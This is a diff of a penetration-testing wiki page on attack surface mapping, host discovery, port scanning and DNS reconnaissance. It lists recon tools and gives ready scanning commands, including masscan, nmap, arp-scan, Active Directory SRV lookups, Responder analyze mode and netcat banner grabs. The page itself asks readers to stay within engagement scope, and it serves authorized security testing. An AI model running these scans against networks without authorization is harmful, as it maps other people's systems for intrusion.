active probing, so validate each tool against the engagement rules before running it. -Attack Surface Mapping is the process of discovering, identifying, and analyzing all potential attack vectors on an organization’s IT infrastructure. This helps to identify vulnerabilities and threats to the system, as well as helping to decide how best to protect the system from malicious attack and exploitation. Attack surface mapping involves analyzing the assets and services available on a network, determining the boundaries of the system, and looking for potential attack vectors and vulnerabilities. +* [Awesome Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery) +* [OWASP Attack Surface Analysis Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html) +* [RedHunt Labs](https://redhuntlabs.com/) +* [Frameworthy](https://github.com/hasr00t/Frameworthy) - Collection of attack surface management tooling. +* [Amass](https://github.com/OWASP/Amass) - Network mapping and external asset discovery using open source information gathering and active reconnaissance techniques. + * [Hakluke's Amass Guide](https://medium.com/@hakluke/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7) + * [Dionach: How to Use OWASP Amass](https://www.dionach.com/blog/how-to-use-owasp-amass-an-extensive-tutorial/) +* [ProjectDiscovery](https://projectdiscovery.io/#/) - Open source tools often chained for bug bounty and external recon workflows. + * [nuclei](https://github.com/projectdiscovery/nuclei) + * [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) + * [subfinder](https://github.com/projectdiscovery/subfinder) + * [naabu](https://github.com/projectdiscovery/naabu) + * [httpx](https://github.com/projectdiscovery/httpx) + * [dnsx](https://github.com/projectdiscovery/dnsx) +* [AttackSurfaceMapper](https://github.com/superhedgy/AttackSurfaceMapper) - Expands a target seed into related domains, hosts, and exposed services. +* [IVRE](https://ivre.rocks/) - Network recon framework built around Nmap, Masscan, ZGrab2, ZDNS, and Zeek. +* [Goby](https://github.com/gobysec/Goby) - Network security assessment tool for asset and vulnerability discovery. -The first step in attack surface mapping is asset discovery. This involves gathering information about the system, including the hardware, software, and services that are running on the network. This includes both internal and external assets, such as web applications, databases, and other services. This information can be gathered manually, or with the help of automated tools. +### Legacy or Caution -The next step is to identify the attack vectors. Attack vectors are the various methods and techniques attackers can use to gain access to the network and its services. These include physical access, remote access, phishing attacks, malware, and social engineering. Once the attack vectors have been identified, the security team can then analyze them to determine the potential for exploitation. +* [Intrigue Core](https://core.intrigue.io/) - Historical attack surface discovery framework. The open source component has not been actively maintained on GitHub since 2021 and has license caveats. +* [CloudFrontier](https://github.com/riskprofiler/CloudFrontier) - Cloud attack surface monitor with stale open issues and limited recent activity. +* [eReKon](https://github.com/slithery0/eReKon) - Web reconnaissance tool that appears incomplete or under active development; validate before relying on it. +* RiskIQ is now part of Microsoft. Treat older RiskIQ links as legacy branding and prefer current Microsoft Defender External Attack Surface Management references when needed. -The third step is to analyze the attack vectors and identify any vulnerabilities. This involves looking for any weaknesses in the system that could be exploited by an attacker. This can include weak passwords, unpatched software, and insecure configurations. Once the vulnerabilities have been identified, the security team can then decide on the best course of action to protect the system from potential attacks. +## Host and Asset Discovery -* [Awesome Lists Collection: Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery) -* [https://cheatsheetseries.owasp.org/cheatsheets/Attack\_Surface\_Analysis\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Attack\_Surface\_Analysis\_Cheat\_Sheet.html) -* [https://redhuntlabs.com/](https://redhuntlabs.com/) -* [https://github.com/hasr00t/Frameworthy](https://github.com/hasr00t/Frameworthy) - The best collection of Attack Surface Management tooling out there. - * Shout out to @hasr00t and thier amazing ASM Class. +Host discovery identifies live systems and services before deeper enumeration or exploitation. -{% hint style="info" %} -Many Recon Frameworks can be excellent for Attack Surface Management. -{% endhint %} +* [HackTricks: Discovering Hosts](https://book.hacktricks.xyz/pentesting/pentesting-network#discovering-hosts) +* [fierce](https://www.kali.org/tools/fierce/) - Locates non-contiguous IP space and hostnames before running heavier scanners. +* [hosthunter](https://www.kali.org/tools/hosthunter/) - Maps IP addresses to virtual hostnames using OSINT-style techniques. +* [arp-scan](https://www.kali.org/tools/arp-scan/) - Sends ARP requests on local networks. +* [netdiscover](https://www.kali.org/tools/netdiscover/) - Active/passive ARP reconnaissance. -{% content-ref url="recon-frameworks.md" %} -[recon-frameworks.md](recon-frameworks.md) -{% endcontent-ref %} +### Quick Commands -{% tabs %} -{% tab title="Amass" %} -### [Amass](https://github.com/OWASP/Amass) - -The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques. - -* Hakluke's Amass Guide - [https://medium.com/@hakluke/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7](https://medium.com/@hakluke/haklukes-guide-to-amass-how-to-use-amass-more-effectively-for-bug-bounties-7c37570b83f7) -* Dionach's Amass Guide - [https://www.dionach.com/blog/how-to-use-owasp-amass-an-extensive-tutorial/](https://www.dionach.com/blog/how-to-use-owasp-amass-an-extensive-tutorial/) -* [https://medium.com/@nynan/automated-and-continuous-recon-attack-surface-management-amass-track-and-db-fabcaffce3c3](https://medium.com/@nynan/automated-and-continuous-recon-attack-surface-management-amass-track-and-db-fabcaffce3c3) -* [https://www.youtube.com/watch?v=mEQnVkSG19M](https://www.youtube.com/watch?v=mEQnVkSG19M) -{% endtab %} - -{% tab title="Project Discovery" %} -### [projectdiscovery.io](https://projectdiscovery.io/#/) - - Collection of open source tools for attack surface management or Bug Bounties. - -* [nuclei](https://github.com/projectdiscovery/nuclei) - Fast and customizable vulnerability scanner based on simple YAML based DSL. - * [https://github.com/projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - * [https://github.com/projectdiscovery/nuclei-docs](https://github.com/projectdiscovery/nuclei-docs) -* [subfinder](https://github.com/projectdiscovery/subfinder) - Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing. - * To get better results remember to use api keys. The following need them, [Binaryedge](https://binaryedge.io/), [C99](https://api.c99.nl/), [Certspotter](https://sslmate.com/certspotter/api/), [Chinaz](http://my.chinaz.com/ChinazAPI/DataCenter/MyDataApi), [Censys](https://censys.io/), [Chaos](https://chaos.projectdiscovery.io/), [DnsDB](https://api.dnsdb.info/), [Fofa](https://fofa.so/static\_pages/api\_help), [Github](https://github.com/), [Intelx](https://intelx.io/), [Passivetotal](http://passivetotal.org/), [Robtex](https://www.robtex.com/api/), [SecurityTrails](http://securitytrails.com/), [Shodan](https://shodan.io/), [Spyse](https://spyse.com/), [Threatbook](https://x.threatbook.cn/en), [Virustotal](https://www.virustotal.com/), [Zoomeye](https://www.zoomeye.org/) - * API key file is located at $HOME/.config/subfinder/provider-config.yaml and the github has an example -* [naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests -* [httpx](https://github.com/projectdiscovery/httpx) - httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. -* [proxify](https://github.com/projectdiscovery/proxify) - Swiss Army knife Proxy tool for HTTP/HTTPS traffic capture, manipulation, and replay on the go. -* [dnsx](https://github.com/projectdiscovery/dnsx) - dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. -{% endtab %} - -{% tab title="OSINT for ASM" %} -* URL: [https://www.runzero.com/](https://www.runzero.com/) About: runZero is a network discovery and asset inventory platform that uncovers every network in use and identifies every device connected–without credentials. \*\* Free Trial is available. \*\* -* [https://www.reconness.com/](https://www.reconness.com/) About: ReconNess helps you to run and keep all your recon in the same place allowing you to focus only on the potentially vulnerable targets without distraction and without required a lot of bash skill or programing skill in general. -* [https://github.com/yogeshojha/rengine](https://github.com/yogeshojha/rengine) About: reNgine is a web application reconnaissance suite with focus on a highly configurable streamlined recon process via Engines, recon data correlation, continuous monitoring, recon data backed by a database, and a simple yet intuitive User Interface. With features such as sub-scan, deeper co-relation, report generation, etc. reNgine aims to fix the gap in the traditional recon tools and probably a better alternative for existing commercial tools.\ - reNgine makes it easy for penetration testers and security auditors to gather reconnaissance data with bare minimal configuration. -* [https://github.com/slithery0/eReKon](https://github.com/slithery0/eReKon) About: Web reconnaissance tool, only available in dark mode. Provides subdomain scanning, port scanning, version fingerprinting and screenshots of web applications. \ - \*\* While it appears there is some development being done, the overall application appears to be under development still and should be used with caution. \*\* -{% endtab %} - -{% tab title="ASM Frameworks" %} -* [https://github.com/archerysec/archerysec](https://github.com/archerysec/archerysec) About: ArcherySec allow to interact with continuous integration/continuous delivery (CI/CD) toolchains to specify testing, and control the release of a given build based on results. Its include prioritization functions, enabling you to focus on the most critical vulnerabilities. ArcherySec uses popular opensource tools to perform comprehensive scanning for web application and network. The developers can also utilize the tool for implementation of their DevOps CI/CD environment. - * [https://www.archerysec.com/](https://www.archerysec.com/) -* [https://github.com/microsoft/AttackSurfaceAnalyzer](https://github.com/microsoft/AttackSurfaceAnalyzer) About: Attack Surface Analyzer is a Microsoft developed open source security tool that analyzes the attack surface of a target system and reports on potential security vulnerabilities introduced during the installation of software or system misconfiguration. -* [https://github.com/vmware-labs/attack-surface-framework](https://github.com/vmware-labs/attack-surface-framework) About: ASF aims to protect organizations acting as an attack surface watchdog, provided an “Object” which might be a: Domain, IP address or CIDR (Internal or External), ASF will discover assets/subdomains, enumerate their ports and services, track deltas and serve as a continuous and flexible attacking and alerting framework leveraging an additional layer of support against 0 day vulnerabilities with publicly available POCs. -* [https://github.com/superhedgy/AttackSurfaceMapper](https://github.com/superhedgy/AttackSurfaceMapper) About: AttackSurfaceMapper (ASM) is a reconnaissance tool that uses a mixture of open source intelligence and active techniques to expand the attack surface of your target. You feed in a mixture of one or more domains, subdomains and IP addresses and it uses numerous techniques to find more targets. It enumerates subdomains with bruteforcing and passive lookups, Other IPs of the same network block owner, IPs that have multiple domain names pointing to them and so on.\ - Once the target list is fully expanded it performs passive reconnaissance on them, taking screenshots of websites, generating visual maps, looking up credentials in public breaches, passive port scanning with Shodan/Censys and scraping employees from LinkedIn. -* [https://github.com/pry0cc/axiom](https://github.com/pry0cc/axiom) About: Axiom is a dynamic infrastructure framework to efficiently work with multi-cloud environments, build and deploy repeatable infrastructure focussed on offensive and defensive security.\ - Axiom works by pre-installing your tools of choice onto a 'base image', and then using that image to deploy fresh instances. From there, you can connect and instantly gain access to many tools useful for both bug hunters and pentesters. With the power of immutable infrastructure, most of which is done for you, you can just spin up 15 boxes, perform a distributed nmap/ffuf/screenshotting scan, and then shut them down.\ - Axiom supports several cloud providers, eventually, axiom should be completely cloud agnostic allowing unified control of a wide variety of different cloud environments with ease. Currently, DigitalOcean, IBM Cloud, Linode, Azure and AWS are officially supported providers. GCP isnt supported but is partially implemented and on the roadmap. -* [https://github.com/riskprofiler/CloudFrontier](https://github.com/riskprofiler/CloudFrontier) About: Monitor the internet attack surface of various public cloud environments. Currently supports AWS, GCP, Azure, DigitalOcean and Oracle Cloud. \ - \*\* It should be noted that this project has not been updated in some time and there are open issues. \*\* -* [https://github.com/Findomain/Findomain](https://github.com/Findomain/Findomain) About: The complete solution for domain recognition. Supports screenshoting, port scan, HTTP check, data import from other tools, subdomain monitoring, alerts via Discord, Slack and Telegram, multiple API Keys for sources and much more. -* [https://core.intrigue.io/](https://core.intrigue.io/) About: Intrigue Core is a framework for discovering attack surface. It discovers security-relevant assets and exposures within the context of projects and can be used with a human-in-the-loop running individual tasks, and/or automated through the use of workflows. With a flexible entity model and an incredibly deep enrichment system, it is the most full-featured attack surface discovery framework of its kind.\ - \*\* A slack channel is available for support. Also, as of October 1, 2021, this component of the Intrigue project is no longer actively maintained on Github, and the code in Github has been re-licensed under the terms of the Mandiant Limited Open Source License Agreement. \*\* -* [https://ivre.rocks/](https://ivre.rocks/) - IVRE is an open-source framework for network recon. It relies on open-source well-known tools ([Nmap](https://nmap.org/), [Masscan](https://github.com/robertdavidgraham/masscan), [ZGrab2](https://github.com/zmap/zgrab2), [ZDNS](https://github.com/zmap/zdns) and [Zeek (Bro)](https://www.zeek.org/)) to gather data (_network intelligence_), stores it in a database ([MongoDB](https://www.mongodb.com/) is the recommended backend), and provides tools to analyze it. -{% endtab %} - -{% tab title="Other Tools" %} -* [Odin](https://github.com/chrismaddalena/ODIN) - ODIN is Python tool for automating intelligence gathering, asset discovery, and reporting. -* [Asnip](https://github.com/harleo/asnip) - Asnip retrieves all IPs of a target organization—used for attack surface mapping in reconnaissance phases. -* [https://github.com/edoardottt/csprecon](https://github.com/edoardottt/csprecon) - Discover new target domains using Content Security Policy -* [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths) - A collection of special paths linked to major web CVEs, known misconfigurations, juicy APIs ..etc. It could be used as a part of web content discovery, to scan passively for high-quality endpoints and quick-wins -* [https://github.com/hakluke/hakcertstream](https://github.com/hakluke/hakcertstream) - Use CertStream to get lists of new domains and subdomains registered with a certificate authority. -* [https://dehashed.com/](https://dehashed.com/) - Scan domain for indicators found in breaches -* [https://www.riskiq.com/](https://www.riskiq.com/) - RiskIQ Digital Footprint gives complete visibility beyond the firewall. Unlike scanners and IP-dependent data vendors, RiskIQ Digital Footprint is the only solution with composite intelligence, code-level discovery and automated threat detection and exposure monitoring—security intelligence mapped to your attack surface. -* [https://www.whoisxmlapi.com/](https://www.whoisxmlapi.com/) - Domain & IP Data Intelligence for Greater Enterprise Security -* [https://securitytrails.com/](https://securitytrails.com/) - Powerful tools for third-party risk, attack surface management, and total intel -* [Goby](https://github.com/gobysec/Goby) - **Goby** is a new generation network security assessment tool. It can efficiently and practically scan vulnerabilities while sorting out the most complete attack surface information for a target enterprise. - * [https://gobies.org/](https://gobies.org/) -{% endtab %} -{% endtabs %} - -### Host/Asset discovery - -Once on or apart of a target network we can perform a more detailed round of enumeration and discovery. By directly interacting with local network applications, host discovery can be used to identify vulnerable systems, services, and network topology. - -Once the active devices on the network have been identified, the penetration tester can move on to the next steps in the penetration test process, such as vulnerability analysis and exploitation. - -Host discovery can be performed by a few handy tools as well as command to enumerate hosts via various services. - -* [https://book.hacktricks.xyz/pentesting/pentesting-network#discovering-hosts](https://book.hacktricks.xyz/pentesting/pentesting-network#discovering-hosts) -* [https://www.secjuice.com/osint-detecting-enumerating-firewalls-gateways/](https://www.secjuice.com/osint-detecting-enumerating-firewalls-gateways/) -* [fierce](https://www.kali.org/tools/fierce/) - Fierce is a semi-lightweight scanner that helps locate non-contiguous IP space and hostnames against specified domains. It’s really meant as a pre-cursor to nmap, unicornscan, nessus, nikto, etc, since all of those require that you already know what IP space you are looking for. -* [hosthunter](https://www.kali.org/tools/hosthunter/) - This package contains a tool to efficiently discover and extract hostnames providing a large set of target IP addresses. HostHunter utilises simple OSINT techniques to map IP addresses with virtual hostnames. - -{% tabs %} -{% tab title="DHCP" %} -``` +```bash nmap --script broadcast-dhcp-discover +nmap -sn 192.168.0.0/24 +fping -sagq 192.168.0.0/24 +sudo arp-scan -l +netdiscover -r 192.168.0.0/24 ``` -{% endtab %} - -{% tab title="DNS" %} -AD-DS (Active Directory Domain Services) rely on DNS SRV RR (service location resource records). Those records can be queried to find the location of some servers: the global catalog, LDAP servers, the Kerberos KDC and so on. -nslookup is a DNS client that can be used to query SRV records. It usually comes with the [https://packages.debian.org/buster/dnsutils](https://packages.debian.org/buster/dnsutils) package. +### Active Directory DNS SRV Discovery -``` -# find the PDC (Principal Domain Controller) +```bash nslookup -type=srv _ldap._tcp.pdc._msdcs.$FQDN_DOMAIN -​ -# find the DCs (Domain Controllers) nslookup -type=srv _ldap._tcp.dc._msdcs.$FQDN_DOMAIN -​ -# find the GC (Global Catalog, i.e. DC with extended data) nslookup -type=srv gc._msdcs.$FQDN_DOMAIN -​ -# Other ways to find services hosts that may be DCs nslookup -type=srv _kerberos._tcp.$FQDN_DOMAIN nslookup -type=srv _kpasswd._tcp.$FQDN_DOMAIN nslookup -type=srv _ldap._tcp.$FQDN_DOMAIN -``` - -This can also be accomplished by an NMAP Script - -``` nmap --script dns-srv-enum --script-args dns-srv-enum.domain=$FQDN_DOMAIN ``` -{% endtab %} - -{% tab title="Host Cmd" %} -Name Servers - -``` -$ host -t ns domain.com -``` - -Email Server - -``` -$ host -t mx domain.com -``` -{% endtab %} - -{% tab title="ICMP" %} -``` -#ping -c 1 199.66.11.4 #1 echo request to a host -#fping -sagq 192.168.0.0/24 #Send echo requests to ranges -#nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests -``` -* s = print status after completion -* a - show active/alive targets -* g = generate target list -* q = dont show per target list (we dont care about unreachables) -{% endtab %} +### Wake-on-LAN -{% tab title="ARP" %} -[arp-scan](https://www.kali.org/tools/arp-scan/) - sends arp requests to look for link layer devices +Wake-on-LAN magic packets are usually sent as Ethernet type `0x0842` or UDP port 9. Verify this is in scope before testing it on a real network. +```bash +wol.eth [MAC] +wol.udp [MAC] ``` -#sudo arp-scan -l -#nmap -sn #ARP Requests (Discover IPs) -#netdiscover -r #ARP requests (Discover IPs) -``` -{% endtab %} -{% tab title="WOL" %} -Wake On Lan is used to turn on computers through a network message. The magic packet used to turn on the computer is only a packet where a MAC Dst is provided and then it is repeated 16 times inside the same paket. Then this kind of packets are usually sent in an ethernet 0x0842 or in a UDP packet to port 9. If no \[MAC] is provided, the packet is sent to broadcast ethernet (and the broadcast MAC will be the one being repeated). +### Responder Analyze Mode -``` -#WOL (without MAC is used ff:...:ff) -wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 -wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 -## Bettercap2 can also be used for this purpose -``` -{% endtab %} -{% endtabs %} +Responder belongs with network poisoning and MITM techniques, but its analyze mode can be useful during discovery. -{% tabs %} -{% tab title="Responder" %} -[Responder](https://github.com/lgandx/Responder) is a great tool for spoofing various network protocols but can also be used in "analyze" modes. - -* **BROWSER mode**: inspect [Browse Service](http://ubiqx.org/cifs/Browsing.html) messages and map IP addresses with NetBIOS names -* **LANMAN mode**: passively map domain controllers, servers and workstations joined to a domain with the Browser protocol -* **LLMNR, NBTNS, MDNS modes**: inspect broadcast and multicast name resolution requests - -The following command will enable the analyze modes and will give interesting information like: - -* Domain Controller, SQL servers, workstations -* Fully Qualified Domain Name (FQDN) -* Windows versions in used -* The "enabled" or "disabled" state of protocols like LLMNR, NBTNS, MDNS, LANMAN, BROWSER - -``` -// Some code +```bash +sudo responder -I eth0 -A ``` +{% content-ref url="../post-exploitation/network-attacks-harvesting-mitm.md" %} +[network-attacks-harvesting-mitm.md](../post-exploitation/network-attacks-harvesting-mitm.md) +{% endcontent-ref %} +## Port Scanning -[https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/responder-20-owning-windows-networks-part-3/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/responder-20-owning-windows-networks-part-3/) -{% endtab %} - -{% tab title="NBTSCAN" %} -Just like DNS, the NTB-NS (NetBIOS name service) protocol is used to translate names to IP addresses. By default, it's used as a fallback in AD-DS. - -[https://wiki.wireshark.org/NetBIOS/NBNS](https://wiki.wireshark.org/NetBIOS/NBNS) - -``` -nbtscan -r 192.168.0.1/24 #Search in Domain -``` -{% endtab %} - -{% tab title="Bettercap2" %} -``` -net.probe on/off #Activate all service discover and ARP -net.probe.mdns #Search local mDNS services (Discover local) -net.probe.nbns #Ask for NetBios name (Discover local) -net.probe.upnp # Search services (Discover local) -net.probe.wsd # Search Web Services Discovery (Discover local) -net.probe.throttle 10 #10ms between requests sent (Discover local) -``` - -[https://github.com/bettercap/bettercap](https://github.com/bettercap/bettercap) -{% endtab %} -{% endtabs %} - -### **Port-Scanning** - -Port Scanning is a security penetration test that involves the use of software to identify open ports on a network and the services running on those ports. It is an important part of a security assessment because it can uncover security vulnerabilities that may otherwise be overlooked. - -During a port scan, the software sends packets to each port on the target system and listens for a response. Depending on the response, the software can determine whether a port is open or closed. If a port is open, the software can also determine the service running on it. This information can help the tester identify any vulnerable services that can be exploited. - -Port Scanning can help determine if there are any unauthorized access points, such as open ports or services running without authentication. It can also help determine if any services are running outdated versions of software that could be vulnerable to exploits. - -Port status and other details can be gathered via manual requests, or through port scanning tools. - -The tool NMAP has long been the standard for port scanning is an essential tool for all security testers to know. +Port scanning identifies exposed services and helps prioritize enumeration. Tune rate, timing, and scan type to the rules of engagement. {% content-ref url="nmap.md" %} [nmap.md](nmap.md) {% endcontent-ref %} -
- -Masscan +### Common Tools -This is an Internet-scale port scanner. It can scan the entire Internet in under 5 minutes, transmitting 10 million packets per second, from a single machine. +* [Masscan](https://github.com/robertdavidgraham/masscan) - Internet-scale TCP port scanner. +* [RustScan](https://github.com/RustScan/RustScan) - Fast port scanner that can hand results to Nmap. +* [naabu](https://github.com/projectdiscovery/naabu) - Fast ProjectDiscovery port scanner. +* [Unicornscan](https://www.kali.org/tools/unicornscan/) - User-land distributed TCP/IP stack scanner. +* [Scantron](https://github.com/rackerlabs/scantron) - Distributed Nmap/Masscan scanning platform. +* [Scanless](https://github.com/vesche/scanless) - Uses third-party websites to perform port scans. +* [unimap](https://github.com/Edu4rdSHL/unimap) - Reduces duplicate scans across large target sets. +* [AMAP](https://www.kali.org/tools/amap/) - Identifies applications running on non-standard ports. +```bash +sudo masscan -p 80,443,445 10.0.0.0/24 --rate 1000 +rustscan -a 10.10.10.10 -- -sV +naabu -host 10.10.10.10 +nc -v 10.10.10.10 443 +telnet 10.10.10.10 25 +amap -d 10.10.10.10 8080 ``` -# sudo apt install masscan -# sudo masscan -p [port(s)] [IP CIDR] -``` - -* \-oL \[log file] - - - -* \-e specify interface - - - -* \--rate rate of packet transmission - - - -* \--router-ip - specify the IP address for the appropriate gateway - -
- -
- -UnicornScan - -Unicornscan is an attempt at a User-land Distributed TCP/IP stack. It is intended to provide a researcher a superior interface for introducing a stimulus into and measuring a response from a TCP/IP enabled device or network. - -* [https://linuxhint.com/unicornscan\_beginner\_tutorial/](https://linuxhint.com/unicornscan\_beginner\_tutorial/) -* Port Scanning with UnicornScan - [https://youtu.be/X\_DdYUeKS-o](https://youtu.be/X\_DdYUeKS-o) - -
- -
- -Other Tools - -* [WebMap](https://github.com/DeadNumbers/WebMap) - Nmap Web Dashboard and Reporting -* [Scantron](https://github.com/rackerlabs/scantron) - Scantron is a distributed nmap and [Masscan](https://github.com/robertdavidgraham/masscan) scanner comprised of two components. The first is a console node that consists of a web front end used for scheduling scans and storing scan targets and results. The second component is an engine that pulls scan jobs from the console and conducts the actual scanning. -* [Scanless](https://github.com/vesche/scanless) - This is a Python 3 command-line utility and library for using websites that can perform port scans on your behalf. -* [naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests -* [RustScan](https://github.com/RustScan/RustScan) - The Modern Port Scanner. **Find ports quickly (3 seconds at its fastest)**. Run scripts through our scripting engine (Python, Lua, Shell supported). - * [https://reconshell.com/rustscan-faster-port-scanning-tool/](https://reconshell.com/rustscan-faster-port-scanning-tool/) - * [https://tryhackme.com/room/rustscan](https://tryhackme.com/room/rustscan) -* [knocker](https://www.kali.org/tools/knocker/) - Knocker is a new, simple, and easy to use TCP security port scanner written in C, using threads. It is able to analyze hosts and the network services which are running on them. -* [unimap](https://github.com/Edu4rdSHL/unimap) - Scan only once by IP address and reduce scan times with Nmap for large amounts of data. - -
- -
- -Manual Port Checks - -Netcat banner grab - -``` -nc -v 10.10.10.10 port -``` - -Telnet banner grab - -``` -telnet 10.10.10.10 port -``` - -
- -
- -Probe Response CheatSheet - -* **Open** port: _SYN --> SYN/ACK --> RST_ - - - -* **Closed** port: _SYN --> RST/ACK_ - - - -* **Filtered** port: _SYN --> \[NO RESPONSE]_ - - - -* **Filtered** port: _SYN --> ICMP message_ - -
- -For more detailed identification of running appications, even if they are running on a non-standard port, we can use Application Detection tools to enumerate these. - -[AMAP](https://www.kali.org/tools/amap/) - Attempts to identify applications even if they are running on a different port than normal. - -``` -$ amap -d $ip -``` - -### DNS Recon -DNS reconnaissance is the process of gathering information about a domain by querying various DNS records. DNS reconnaissance is often used to identify hosts, subdomains, and services associated with a domain. It can also provide insight into the network infrastructure, such as the type of DNS servers being used and the type of records they are responding with. +### Probe Response Cheat Sheet -DNS Enumeration tools can give detail not just on DNS services related to your target, but also be used to identify other assets such as related domains and IP addresses. +* Open: `SYN -> SYN/ACK -> RST` +* Closed: `SYN -> RST/ACK` +* Filtered: no response or ICMP unreachable message. -
+## Active DNS Recon -DNS Enumeration Tools +Use this section for DNS queries, brute forcing, and active resolution tied to an authorized target. Passive DNS history and domain investigation belong under Cyber Intelligence. -* [dnsdumpster](https://github.com/nmmapper/dnsdumpster) - A tool to perform DNS reconnaissance on target networks. Among the DNS information got from include subdomains, mx records, web application firewall detection and more fingerprinting and lookups - - - -* [DNSRecon](https://github.com/darkoperator/dnsrecon) - The Original DNS recon script. - * [https://www.kali.org/tools/dnsrecon/](https://www.kali.org/tools/dnsrecon/) - - - -* [dnscan](https://github.com/rbsec/dnscan) - dnscan is a python wordlist-based DNS subdomain scanner. - - - -* [dnsenum](https://www.kali.org/tools/dnsenum/) - Dnsenum is a multithreaded perl script to enumerate DNS information of a domain and to discover non-contiguous ip blocks. - - - -* [dnsmap](https://www.kali.org/tools/dnsmap/) - dnsmap scans a domain for common subdomains using a built-in or an external wordlist - - - -* [dnstracer](https://www.kali.org/tools/dnstracer/) - determines where a given Domain Name Server (DNS) gets its information from for a given hostname, and follows the chain of DNS servers back to the authoritative answer. - - - -* [Lepus](https://github.com/gfek/Lepus) - A tool for enumerating subdomains, checking for subdomain takeovers and perform port scans - and boy, is it fast! - - - -* [Knock](https://github.com/guelfoweb/knock) - Knockpy is a python3 tool designed to enumerate subdomains on a target domain through dictionary attack. - - - -* [HostileSubBruteForcer](https://github.com/nahamsec/HostileSubBruteforcer) - Aggressive SubDomain brute forcing tool written by Nahamsec. - - - -* [altdns](https://www.kali.org/tools/altdns/) - a DNS recon tool that allows for the discovery of subdomains that conform to patterns. - - - -* [assetfinder](https://www.kali.org/tools/assetfinder/) - A tool to find domains and subdomains potentially related to a given domain. - - - -* [fierce](https://www.kali.org/tools/fierce/) - Fierce is a semi-lightweight scanner that helps locate non-contiguous IP space and hostnames against specified domains. It’s really meant as a pre-cursor to nmap, unicornscan, nessus, nikto, etc, since all of those require that you already know what IP space you are looking for. - - - -* [cansina](https://github.com/deibit/cansina) - a Web Content Discovery Application. Help you making requests and filtering and inspecting the responses to tell apart if it is an existing resource or just an annoying or disguised 404. - - - -* [Sublist3r](https://github.com/aboul3la/Sublist3r) - Sublist3r is a python tool designed to enumerate subdomains of websites using OSINT. It helps penetration testers and bug hunters collect and gather subdomains for the domain they are targeting. Sublist3r enumerates subdomains using many search engines such as Google, Yahoo, Bing, Baidu and Ask. Sublist3r also enumerates subdomains using Netcraft, Virustotal, ThreatCrowd, DNSdumpster and ReverseDNS. This tool can do both scraping and Bruteforce which makes it a nice combined tool. The downside how ever is the wordlist cannot be specified. - * [https://tryhackme.com/room/rpsublist3r](https://tryhackme.com/room/rpsublist3r) - * [subbrute](https://github.com/TheRook/subbrute) - A DNS meta-query spider that enumerates DNS records, and subdomains. (included in Sublist3r) - - - -* [dnsx](https://github.com/projectdiscovery/dnsx) - dnsx is a fast and multi-purpose DNS toolkit allow to run multiple DNS queries of your choice with a list of user-supplied resolvers. - - - -* [massdns](https://github.com/blechschmidt/massdns) - A high-performance DNS stub resolver for bulk lookups and reconnaissance (subdomain enumeration) - * Due to how many requests sent, we should use a list of resolvers to not get our connection banned. More on rate limiting here: [https://github.com/blechschmidt/massdns#rate-limiting-evasion](https://github.com/blechschmidt/massdns#rate-limiting-evasion) - * [shuffledns](https://github.com/projectdiscovery/shuffledns) - MassDNS wrapper written in go that allows you to enumerate valid subdomains using active bruteforce as well as resolve subdomains with wildcard handling and easy input-output support. - - - -* [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) - A tool to find subdomains and interesting things hidden inside, external Javascript files of page, folder, and Github. - - - -* [shosubgo](https://github.com/incogbyte/shosubgo) - Small tool to Grab subdomains using Shodan api. - - - -* [zdns](https://github.com/zmap/zdns) - Fast CLI DNS Lookup Tool - - - -* [aiodnsbrute](https://github.com/blark/aiodnsbrute) - A Python 3.5+ tool that uses asyncio to brute force domain names asynchronously. This is a bruteforcer with insane speed, and a very large number of built in wordlists. Use a list of resolvers with it - - - -* [Altdns](https://github.com/infosec-au/altdns): Altdns is a DNS recon tool that allows for the discovery of subdomains that conform to patterns. Altdns takes in words that could be present in subdomains under a domain (such as test, dev, staging), as well as a list of known subdomains. - - - -* [Findomain](https://github.com/Findomain/Findomain): Findomain offers a dedicated monitoring service hosted in Amazon (only the local version is free), that allows you to monitor your target domains and send alerts to Discord and Slack webhooks or Telegram chats when new subdomains are found. - - - -* [Dome](https://github.com/v4d1/Dome) - Fast and reliable python script that makes active and/or passive scan to obtain subdomains and search for open ports. - -
